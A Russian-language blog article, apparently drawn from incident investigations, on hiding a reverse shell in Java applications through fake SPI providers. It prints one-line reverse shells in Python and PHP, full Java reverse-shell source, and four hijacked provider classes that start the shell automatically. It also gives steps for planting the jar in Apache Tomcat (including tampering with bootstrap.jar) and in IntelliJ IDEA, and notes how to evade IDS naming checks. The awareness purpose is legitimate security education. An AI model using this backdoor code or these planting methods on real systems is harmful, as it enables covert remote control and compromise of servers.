experiments
January 21

Reverse shell на Java или кошмар сисадмина

По итогам нескольких расследований инцидентов с безопасностью, могу (наконец) рассказать о том что бывает на свете. Еще один веский повод «все бросить и уйти в монастырь».

На картинке практически настоящий эксплоит, засунутый юмора ради в.. среду разработки.
Традиционный саундтрек к статье

Вводная

На самом деле все описанное в статье далеко не самая лютая жесть — цветочки, по сравнению с тем что собирают «в дикой природе» мои более продвинутые коллеги. Но надеюсь статья даст понимание проблемы и возможно раскроет для некоторых читателей новые векторы атак на их драгоценную инфраструктуру.

Еще добавлю что приведенный код сильно упрощен и почищен по сравнению с «боевой версией», а методы его доставки на целевой компьютер раскрывать не буду — считайте что он просто материализовался на вашем сервере.

Так всем будет проще.

Но если очень надо, то вот тут жирный намек на то как это работало «вживую». Да и в целом тот год выдался веселым.

Реверс-шелл

Наверное слышали популярную рекомендацию «не надо скачивать и запускать все подряд из интернета — поймаете вирус, троян и гепатит С»?

Одним из видов «вредоносного ПО», которое вы могли намотать на свою драгоценную систему как раз и был такой «реверс-шелл» — бекдор, позволяющий скрытое удаленное управление вашим компьютером:

Shell shoveling, in network security, is the act of redirecting the input and output of a shell to a service so that it can be remotely accessed, a remote shell.[1]

Cуть процесса в том чтобы вместо попыток подключиться к вашему компьютеру из сети, что очевидно уже не так просто в наше время из-за разнообразных систем защиты, заставить его самостоятельно подключиться к чужому удаленному серверу в интернете.

Где его уже ждут нехорошие дяди:

In the shell shoveling process, one of these programs is set to run (perhaps silently or without notifying someone observing the computer) accepting input from a remote system and redirecting output to the same remote system; therefore the operator of the shoveled shell is able to operate the computer as if they were present at the console.[2]

Сейчас времена уже не те, максимум что вам грозит это автоматические «майнеры крипты» и «шифровальщики-вымогатели», а заморачиваться удаленным управлением вручную вашей домашней венды никто не будет.

Но вот если вы работаете в компании, да еще крупной — ситуация начинает играть несколько другими красками.

Появляются вполне осязаемые риски промышленного шпионажа, диверсии да и просто сказочного долбо#бизма, пополам с педерастией — в большой компании обычно «каждой твари по паре» и дебилов там всегда хватает с избытком.

Именно поэтому в «живой природе» реверс-шелл чаще всего используется для удаленного скрытого управления чужими корпоративными серверами, не вашей домашней вендой.

Вот так выглядит простейший реверс-шелл на Python:

import os;
os.system('bash -c "bash -i 5<> /dev/tcp/127.0.0.1/9001 0<&5 1>&5 2>&5"')

или на PHP:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Есть и на C# под Windows и на чистом Bash и еще куча разных реализаций. Вообщем это очень и очень широко известная и часто применяемая техника, которая есть везде.

Но сегодня речь пойдет о реализации именно на Java, поскольку с ней я имею дело чаще всего, плюс источник описанных проблем — как раз большие корпоративные проекты, на ней же.

Java и ее особенности

Начнем с того что Java большая:

огромные размеры самого JDK, огромные клиентские приложения и жирные библиотеки. 

В Java-мире в порядке вещей запихнуть в одно приложение несколько разных версий одной и той же библиотеки, раскидав по модулям ради «обратной совместимостью».

Нормой являются «паразитные» зависимости, не используемые напрямую из приложения, но указанные в качестве зависимых от зависимостей.

А еще тут есть спецификации, причем какого-то запредельно скотского размера, поэтому являются обыденностью ситуации когда ради полного соблюдения спецификации например сервлет-контейнера, приложение вынуждено реализовывать какое-то чудовищное количество API, большинство из которого никогда не будет использовано в работе.

Поэтому любое сколь-нибудь крупное приложение на Java это натуральное кладбище «мертвых животных» кода, который никогда не будет использован.

Если приложение с 50 млн. строк кода и командой разработки человек так в 100 на Python или Node.js еще поискать (днем с огнем), то для Java такие объемы являются.. средними по больнице.

Помимо жирноты, у Java есть еще одна важная особенность:

за каким-то хером Java считается безопасной

Поэтому концепция автоматического выполнения кода применяется в Java-проектах очень часто — где надо и где не надо, практически по любому поводу. В других языках и решениях нет столь развитой системы автоматического сканирования и связывания классов.

Именно из Java и Spring пришла концепция построения всего приложения вокруг IoC-контейнера, который сам запускает и связывает части системы используя метаданные из аннотаций.

А все это между прочим и есть исполнение кода, того самого запускающего наш реверс-шелл.

Посмотрите как все это запускается при минимальном участии человека:

Вот так это выглядит в работе.

Технология SPI

С незапамятных времен (дольше чем некоторые из читателей на свете живут) в Java существует технология Service Provider Interface:

Service provider interface (SPI) is an API intended to be implemented or extended by a third party. It can be used to enable framework extension and replaceable components.[1][2][3]

Суть ее заключается в автоматическом включении класса с реализацией заранее известного интерфейса при запуске приложения.

«Автоматическом» и «при запуске» тут самое важное, вы правильно поняли.

Вот несколько статей с примерами работы технологии, разной степени детальности, но вещь давно устоявшаяся и широко известная — материалов и примеров по ней очень много, поэтому факультативное изучение точно проблемой не является.

Нас в первую очередь интересует автоматический запуск, поскольку требует минимальных действий и практически незаметен для админов.

Разумеется есть способы все это отловить, но механизм загрузки SPI сделан максимально неудобным для задачи «глобального отлова всего», поэтому без подготовки и дополнительных действий (например подключения внешнего агента) задача становится маловыполнимой.

Теперь о плохом и печальном для атакующей стороны:

лишь небольшое количество системных SPI-провайдеров активируются при запуске JVM, например вот таких.

Причем для включения сторонних реализаций системных провайдеров в последних версиях JDK еще нужно обойти новомодную систему модулей, заменившую собой с версии 9 более легкие в использовании для наших коварных целей «endorsed dirs» и Xbootclasspath.

Которых больше нет.

Поэтому работающего способа такого автозапуска при старте самой JVM и для всех случаев нет — ориентироваться стоит на специфику конкретного приложения, что именно там используется, как и зачем.

Векторы атаки

Disclaimer:

Все описанное в статье официально не является ни багом ни уязвимостью, это просто такая «особенность» работы SPI о которой стоит знать.

Особенно если вас угораздило поддерживать проект на Java в качестве DevOps или сисадмина.

Ниже я покажу четыре характерных примера автоматической активации реверс-шелла в качестве иллюстрации, но разумеется в «дикой природе» способов сильно много больше, поскольку SPI считается стандартом и используется очень широко — присутствует наверное во всех более-менее крупных и известных проектах на Java.

Вот например неожиданный вариант с использованием библиотеки H2, где тоже используется SPI и есть возможность переопределить реализацию.

Все описанные способы (кроме последнего) работают через фейковую реализацию SPI-сервиса, который втихую активируется при запуске.

Весь код по традиции выложен на Github.

И начну я свой рассказ с кода реализации самого реверс-шелла:

package com.Ox08.rshell.sample;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
/**
  PoC простого реверс-шелла
*/
public class RShell {
    // мы используем одну копию этого класса на всех
    private static final RShell INSTANCE = new RShell();    
    private boolean started; // признак что шелл уже запущен    
    /**
      запускает реверс-шелл в отдельном потоке
    */
    public static void start() {
        // блокируем попытки повторного запуска - могут сработать несколько
        // точек активации а не одна
        if (INSTANCE.started) {
            return;
        }
        INSTANCE.doStart("127.0.0.1", 9999);
    }    
    private synchronized void doStart(final String host, final int port) {
        started = true;
        // запускаем наш шелл в отдельном фоновом потоке,
        // чтобы не блокировать работу основного приложения
        final Thread t = new Thread(() -> {
            Process p = null;
            try {
                // используем системный шелл по-умолчанию
                final ProcessBuilder pb = new ProcessBuilder("/bin/sh")
                                               .redirectErrorStream(true);
                p = pb.start(); // запускаем процесс
                // создаем подключение к удаленному серверу
                // и связываем потоки данных
                try (Socket s = new Socket(host, port);
                     InputStream pi = p.getInputStream();
                     OutputStream po = p.getOutputStream();
                     InputStream si = s.getInputStream();
                     OutputStream so = s.getOutputStream();
                ) {
                    boolean once=true;
                    // до тех пор пока процесс нашего шелла
                    // не убили и сокет не закрыт - перебрасываем данные
                    while (p.isAlive() && !s.isClosed()) {
                        // при старте отправляем на удаленный сервер
                        // наш локальный адрес
                        if (once) {
                            once = false;
                            so.write(("Hi from %s\n".formatted(s.getLocalAddress().getHostAddress()))
                                    .getBytes(StandardCharsets.UTF_8));
                        }
                        // копируем данные из потока процесса в поток сокета
                        while (pi.available() > 0) so.write(pi.read());
                        // .. из сокета на вход процесса
                        while (si.available() > 0) po.write(si.read());
                        // очищаем буферы у обоих
                        so.flush(); po.flush();
                        // искусственная задержка между стадиями чтения,
                        // необходима чтобы не было перегрузки процессора
                        synchronized (this) {
                            try {
                                this.wait(100);
                            } catch (InterruptedException ignored) {
                            }
                        }
                    }
                }
            } catch (Exception e) {
               // e.printStackTrace();
            } finally {
                // если сокет закрыли со стороны сервера либо
                // соединение было разорвано - убиваем процесс шелла            
                if (p != null) {
                    try {
                        p.destroy();
                    } catch (Exception ignored) {
                    }
                }
            }
        });        
        t.setDaemon(true); // устанавливаем нашему потоку признак
                          // фоновой обработки        
        t.start(); // запускаем поток
    }
}

Что нужно отметить:

  1. Используется синглтон и статичный инстанс (один на всех) из-за возможной активации и срабатывания сразу нескольких точек — нескольких SPI провайдеров;
  2. Сам запуск и весь процесс ввода-вывода работает в отдельном потоке, для того чтобы не мешать работе основного приложения;
  3. При разрыве связи либо недоступности удаленного сервера вся логика работы останавливается - все же это PoC для тестов и демонстрации, а не боевой треножник эксплоит для грабежа.

Теперь о точках активации, это фейковые провайдеры SPI (кроме последней), из которых отправляется команда на запуск нашего реверс-шелла:

 RShell.start(); 

Каждая реализация SPI-провайдера требует наличия специального файла в каталоге META-INF/services с указанием на полное имя класса с реализацией. Формируются они максимально просто, именование описано как в документации так и в примерах, поэтому приводить их в статье не буду.

В готовом виде они выложены в репозитории проекта на Github.

Поехали.

InetAddressResolverProvider

Самый свежий вариант на момент написания вариант, поскольку возможность управления со стороны приложения разрешением DNS-имен в Java появилась только с 18й версии:

JEP 418 enhances the currently limited implementation of java.net.InetAddress by developing a service provider interface (SPI) for hostname and address resolution. The SPI allows java.net.InetAddress to use resolvers other than the operating system’s native resolver, which is usually set up to use a combination of a local hosts file and the domain name system (DNS).

Вот так выглядит реализация для активации нашего реверс-шелла:

package com.Ox08.rshell.sample.inject.addr;

import com.Ox08.rshell.sample.RShell;
import java.net.spi.InetAddressResolver;
import java.net.spi.InetAddressResolverProvider;

public class HijackedAddressResolverProvider extends InetAddressResolverProvider {
    // тут и далее мы вызываем запуск реверс-шелла сразу из static-блока
    // активация которого происходит при создании первого инстанса класса
    static {
        System.out.println("hijack addr resolver");
        RShell.start();
    }

    @Override
    public InetAddressResolver get(Configuration configuration) {
        // просто делегируем в системный резолвер
        return configuration.builtinResolver();
    }
    @Override
    public String name() {
        return "Internet Address Resolver Provider";
    }
}

Для того чтобы этот SPI-провайдер активировался, в коде приложения должен быть запрос на разрешение DNS-имени:

InetAddress.getAllByName("localhost");

Такой вызов как раз происходит при запуске Apache Tomcat, что и позволяет запустить наш реверс-шелл.

PreferencesFactory

Следующая реализация интересна тем что в названиях этого системного интерфейса и пакета нет ключевых слов «Provider» и «spi», что позволяет обходить системы мониторинга и IDS, специально созданные для отслеживания таких вот «невинных шалостей».

Почему это работает? Ну потому что других признаков того что класс является провайдером SPI внезапно нет.

Нет ни общих интерфейсов ни характерных методов ни каких-то однозначных требований по именованию класса с реализацией.

Код для автоматического запуска:

package com.Ox08.rshell.sample.inject.prefs;

import com.Ox08.rshell.sample.RShell;
import java.util.HashMap;
import java.util.Map;
import java.util.prefs.AbstractPreferences;
import java.util.prefs.Preferences;
import java.util.prefs.PreferencesFactory;

public class HijackedPreferencesFactory implements PreferencesFactory {
    static {
        System.out.println("hijack prefs");
        RShell.start();    
    }
    // к сожалению методы systemRoot() и userRoot()
    // не должны возвращать null, а реализация Preferences по-умолчанию
    // закрыта. Поэтому необходима минимальная своя.
    private final Preferences prefs = new InMemoryPreferences();
    @Override
    public Preferences systemRoot() {
        return prefs;
    }
    @Override
    public Preferences userRoot() {
        return prefs;
    }  
    static class InMemoryPreferences extends AbstractPreferences {
        private final Map<String, String> prefs = new HashMap<>();
        protected InMemoryPreferences() {
            this(null, "");
        }
        protected InMemoryPreferences(AbstractPreferences parent, String name) {
            super(parent, name);
            newNode = true;
        }
        @Override
        protected void putSpi(String key, String value) {
            prefs.put(key, value);
        }
        @Override
        protected String getSpi(String key) {
            return prefs.get(key);
        }
        @Override
        protected void removeSpi(String key) {
            prefs.remove(key);
        }
        @Override
        protected String[] keysSpi() {
            return prefs.keySet().toArray(new String[0]);
        }
        @Override
        protected AbstractPreferences childSpi(String name) {
            return new InMemoryPreferences(this, name);
        }
        @Override
        protected String[] childrenNamesSpi() {
            return new String[0];   
        }
        @Override
        protected void removeNodeSpi() {         
        }
        @Override
        protected void syncSpi() {           
        }
        @Override
        protected void flushSpi() {            
        }
    }
}

Для его активации со стороны приложения должен быть вызов Java Preferences:

Preferences.systemRoot();

Разумеется что клиентское ПО с графическим интерфейсом использует Java Preferences куда чаще чем серверное, так что вариант достаточно редкий.

Но тем не менее такое встречается, например это API использует "КриптоПро JCP"

ResourceBundleControlProvider

Следующий вариант это фейковый провайдер для управления Resource Bundle — это такие файлы с ресурсами приложения, в основном со строками.

Код очень простой:

package com.Ox08.rshell.sample.inject.resources;

import com.Ox08.rshell.sample.RShell;
import java.util.ResourceBundle;
import java.util.spi.ResourceBundleControlProvider;
public class HijackedResourceBundleControlProvider implements ResourceBundleControlProvider {
    static {
        System.out.println("hijack resource control provider");
        RShell.start();
    }
    public ResourceBundle.Control getControl(String baseName) {
        return null;
    }
}

Но чтобы он сработал, со стороны приложения должен быть запрос к какому-либо бандлу с ресурсами:

ResourceBundle.getBundle("SomeAppResources", Locale.getDefault());

Даже если ресурс с таким именем не существует — все равно произойдет загрузка нашего класса.

И наконец последний (на сегодня), но наверное самый эпичный вариант.

ResourceBundle

У ресурсных бандлов в Java есть одна крайне интересная особенность: допускается их программная реализация, причем с автоматической загрузкой. Причем из разных JAR-файлов и без изменения самих ресурсов — у программной реализации просто выше приоритет чем у файлов .properties.

Ввиду описанного п#здеца, мне особенно понравился эпилог из официального руководства:

You do not have to restrict yourself to using a single family of ResourceBundles. For example, you could have a set of bundles for exception messages, ExceptionResources (ExceptionResources_fr, ExceptionResources_de, …), and one for widgets, WidgetResource (WidgetResources_fr, WidgetResources_de, …); breaking up the resources however you like.

Действительно не стоит себя ограничивать — больше бандлов богу бандлов!

Все должно быть покрыто ими в три слоя!

Теперь посмотрим как выглядит эта самая реализация:

import com.Ox08.rshell.sample.RShell;
import java.util.ListResourceBundle;
public class Resources extends ListResourceBundle {
    static {
        System.out.println("loaded via resource bundle");
        RShell.start();
    }
    @Override
    protected Object[][] getContents() {
        return resources;
    }
    private final Object[][] resources = {};
}

Заметили что нет указания на пакет? Это сделано не по ошибке а умышленно, для того чтобы упростить вот такой вызов:

ResourceBundle.getBundle("Resources", Locale.getDefault());

И все, этого достаточно для автоматической активации нашего класса.

Зная как называется бандл в приложении, можно легко реализовать программную версию, положить рядом в classpath и она загрузится первой!

И отключить такое поведение нельзя. Правда весело?

Теперь переходим к демонстрации работы.

Демонстрация

Поскольку и клиент и сервер будут запускаться локально на одной и той же машине, вам нужно будет поставить netcat.

Запуск netcat для прослушивания на 9999 порту выглядит вот так:

netcat -l -p 9999

Прослушиваться будут все локальные интерфейсы, права root не обязательны, достаточно обычного пользователя.

Также необходимо установить Java SDK версии 18+, для статьи я использовал 19ю:

Все манипуляции по традиции производились на FreeBSD:

Но каких-либо заметных отличий от Linux для данной статьи замечено не было. Теперь реальные примеры использования.

Apache Tomcat

Нужно чтобы JAR-файл с нашим реверс-шеллом и SPI-активацией в любом виде попал в classpath, используемый томкатом для запуска.

И способов тут много, поэтому опишу лишь самые тривиальные.

Способ 1: Просто скопировать jar-файл в папку $CATALINA_HOME/lib — вариант который вы видели на видео выше;

Способ 2: Изменить скрипт запуска catalina.sh, закомментировав строку с присвоением и (тем самым) затиранием переменной окружения:

CLASSPATH=

Вот в этом месте:

После такой правки, будет работать проброс значения стандартной переменной окружения Java для настройки classpath:

export CLASSPATH=/полный/путь/до/мой/любимый/реверс-шелл.jar
./bin/startup.sh

Способ не идеальный, поскольку требует правки скрипта запуска и к сожалению измененный CLASSPATH будет виден при запуске Tomcat:

Думаю не надо объяснять что в "дикой природе" это будет не "reverse-shell.jar" а что-то нейтральное?

Способ 3: Добавить содержимое нашего JAR с реверс-шеллом в одну из системных библиотек Tomcat.

Дело в том что библиотеки Apache Tomcat не подписаны цифровой подписью, поэтому их содержимое можно легко подменить.

Для проверки я подложил классы реверс-шелла вместе с метаданными непосредственно в bootstrap.jar, который находится в каталоге $CATALINA_HOME/bin где вместе со скриптами запуска отвечает за начальную загрузку.

Необходимо скопировать каталог com, в котором находятся скомпилированные .class файлы:

А также скопировать каталог services внутрь META-INF:

Файл MANIFEST.MF при этом трогать нельзя.

После всех изменений (и убрав предыдущий вариант с CLASSPATH), запускаем Tomcat и наблюдаем в файле logs/catalina.out нашу активацию:

Ну и наконец про сладкое — встраивание нашего реверс-шелла в среду разработки Intellj Idea.

Intellj Idea

Практического смысла в этом наверное ноль, зато можно знатно постебаться над вашими быдлокодерами разработчиками и заставить их немного побегать.

Я попробовал пару вариантов с запихиванием своего реверс-шелла в Idea, но разумеется их куда больше.

Способ первый (самый скучный): мы просто добавляем наш jar-файл в скрипт запуска bin/idea.sh вот сюда:

Cпособ второй: вместо JAR-файла добавляем переменную окружения CLASSPATH:

А дальше также как и в примере с Apache Tomcat выше — прописываем нашу библиотеку с реверс-шеллом в этой глобальной переменной до запуска idea.sh, вот так:

export CLASSPATH=/full/path/to/my/shiny/reverse-shell.jar
./bin/idea.sh

В отличие от томката, Idea не отображает содержимое CLASSPATH при запуске, поэтому найти левого гостя будет сложнее.

Пару слов про перезапись .jar файлов

К счастью (и сожалению) разработчики в Intellj куда серьезнее чем те кто пишет Apache Tomcat, поэтому все библиотеки содержат в себе файл __index__ с контрольными суммами и поименным содержимым внутренностей:

По этой причине, подменить либо добавить содержимое jar-файлов методом «в лоб» не выйдет — нужно поднимать полноценную сборку и формирование такого файла.

Это не то чтобы невероятно сложная задача, но она просто выходит за рамки этой статьи, поэтому подделку библиотек в Intellj Idea оставим на следующий раз.

Эпилог

Это еще одна статья про вроде бы обыденные вещи современного ПО, о «темных» сторонах которых почему-то не особо известно широкой публике.

Несмотря на то что я не являюсь ни «исследователем безопасности» ни ее злостным нарушителем, а просто занимаюсь разработкой и разгребанием чужих говен — даже мне регулярно приходится иметь дело с результатами такой недооценки современных реалий.

Напоминаю, что этот код и все примеры были взяты из реальных инцидентов, после разбора последствий реального проникновения на сервер компании и каждый раз было скажем так «глобальное непонимание» как такое вообще возможно и что теперь с этим делать.

Ради просвещения широких масс и появилась данная статья — не про уязвимость или баг, а про сам принцип работы, непонимание которого и может привести к подобным печальным событиям.

Также добавлю, что никакого простого способа «просто отключить» SPI не существует — ради уменьшения рисков с безопасностью, вроде описанной выше пенетрации мы и переделываем открытое ПО, физически удаляя все места из исходного кода где используется сканирование классов, SPI, JMX, RMI и все подобные радости.

Безопасность это всегда сложно и дорого, если у вас есть необходимость в столь сложном подходе к вашему проекту — пишите, постараемся помочь.